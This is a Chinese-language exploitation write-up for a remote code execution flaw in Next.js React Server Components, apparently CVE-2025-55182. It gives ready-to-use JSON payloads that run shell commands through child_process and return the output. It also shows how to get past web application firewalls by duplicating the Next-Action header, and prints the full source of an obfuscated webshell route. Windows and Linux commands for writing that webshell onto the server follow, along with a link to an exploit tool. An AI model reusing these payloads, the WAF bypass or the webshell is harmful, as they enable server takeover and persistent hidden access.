漏洞刚出来,就有反转反转,最终经过测试,总结了一些利用方式
环境搭建
npm create next-app@16.0.6 react -y
npm run dev
常规payload利用
经过参考网上的payload,我在实际利用过程中进行了一些细微的改造,让它利用起来更加舒服。
注:lc.com为本地hosts映射的本地IP,非公网服务器,请勿随意对公网服务器进行攻击
payload-1 execSync同步执行
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
常规payload,回显在响应头部


这种payload比较清晰明了,但是如果执行的命令是返回多行的,就不凑效了,因为不能给响应头的值设置成多行的,可以将多行命令拼接成一行,不过构造命令挺麻烦的,于是就有了payload2
payload-2 execSync同步执行
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

将返回内容进行base64解码得到多行结果

为了方便输入复杂的命令,这里把输入的命令也进行base64编码进行传输,这里测试callback的代码,也可以完美执行。
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync(Buffer.from('【base64编码的命令】','base64').toString()).toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

但是像这种耗时命令会因为同步执行被阻塞住,这类命令后台都是返回500的,如果是执行反弹shell,这种可能会直接卡住。

我这里执行ping 127.0.0.1 -t让他阻塞住,我现在后面发送的请求都不会有响应,因为被阻塞住了

因此又有了payload-3
payload-3 exec异步执行
exec可以不阻塞执行命令,即使ping 127.0.0.1 -t,也能继续执行后续操作,但是也有个弊端,无法直接返回执行结果,因此可以搭配callback网站使用,请求会立即返回一个对象,命令执行结果返回到callback里面
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec(Buffer.from('【base64编码命令】','base64').toString()).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}


waf绕过
实际测试过程中,我遇到过一些waf,目前遇到的,我只要两个方法就能直接绕过。
注:下面测试的站点不存在此漏洞,只为演示绕过waf
首先第一个位置绕过,正常发送直接被拦了

删内容,找到关键拦截点,经过测试,第一个点是在这个payload位置

这个位置常规使用脏数据可以绕过大部分的waf了

然后第二处就是关键头部,Next-Action是必须要的,如果没有这个头部,将无法执行命令


但是只要有这个头部,就直接被拦住了,很明显waf专门针对这个漏洞进行了规则配置

我尝试了脏数据,添加一堆头部,加到装不下了,也绕过不了

最后经过尝试,只需要重复Next-Action就行了,猜测应是读取头部指定键时,如果存在多个指定键,会报错,或者waf判断的是这个键的数量是不是1

且双写头部,是可以正常执行命令的

写马踩坑
写木马也有坑点,无论是写linux的还是windows的
写木马最好是用base64编码来写,这样子可以减少需要转义的字符
shell代码如下:
import { NextResponse } from 'next/server';
import { exec } from 'child_process';
// GET 请求处理(仅从URL参数获取参数)
export async function GET(request) {
return new Promise((resolve) => {
try {
// 从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
const demo = searchParams.get('demo');
const b64 = searchParams.get('b64'); // 获取b64参数,判断是否解码
// 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}
// POST 请求处理(支持URL参数 + FormData格式body)
export async function POST(request) {
return new Promise(async (resolve) => {
try {
// 1. 优先从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
let demo = searchParams.get('demo');
let b64 = searchParams.get('b64');
// 2. URL参数不存在时,从FormData格式的body获取
if (!demo) {
const formData = await request.formData();
demo = formData.get('demo');
// 同时从body获取b64参数(兼容body传b64的场景)
if (!b64) b64 = formData.get('b64');
}
// 3. 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}
首先对shell文件进行压缩混淆,增加被发现难度,我用JavaScript/Html在线格式化-Js/Html压缩-Js加密压缩工具,先压缩后混淆

windows
使用命令写入,先从windows开始踩坑,需要执行的命令如下:
mkdir E:\漏洞测试环境\create-next-app\app\api\shell && echo [压缩后的代码] > E:\漏洞测试环境\create-next-app\app\api\shell\route.js
这个命令是发送到服务器执行的代码,99%是会报错的,因为压缩后的代码依旧存在大量cmd已经定义的符号。&、>、<等,需要统一替换代码中的这些特殊符号,在前面加一个 ^进行转义才能真正写入
未转移在cmd执行会因为各种符号报错,我示例这里直接echo输出shell代码

转义后再次执行,这次没报错了

linux
linux因为可以使用EOF,轻松多了,但是如果你使用base64编码后的命令,可能会出现你写入的文件名不对的问题
mkdir -p /home/lc/Public/bugtest/react/app/api/shell && cat << 'EOF' > /home/lc/Public/bugtest/react/app/api/shell/route.js
[shell代码]
EOF

这里乍一看都是一样的文件名,其中一个是我通过漏洞写入的,但是怎么会有一样的文件名呢?
切管理员上帝视角看一下,很明显看到第二个我用漏洞写入的文件后面是有特殊符号的

其实是因为window和linux换行符的原因,windown用的CRLF,linux是LF,所以因为换行符不一致导致编码后多出不可见符号,解决方法很简单,如图,把输入字符串改成LF,然后把文件名后面的CR删掉就可以了(代码的CR删不删都行,不影响)

最终效果:
这里我把传参由demo改成了minl,

也可以base64编码命令

工具分享
文中我用到的工具我也上传了github,自己写的,不是专业开发,可能会有小bug,遇到欢迎提
https://github.com/LC-pro/CVE-2025-55182-EXP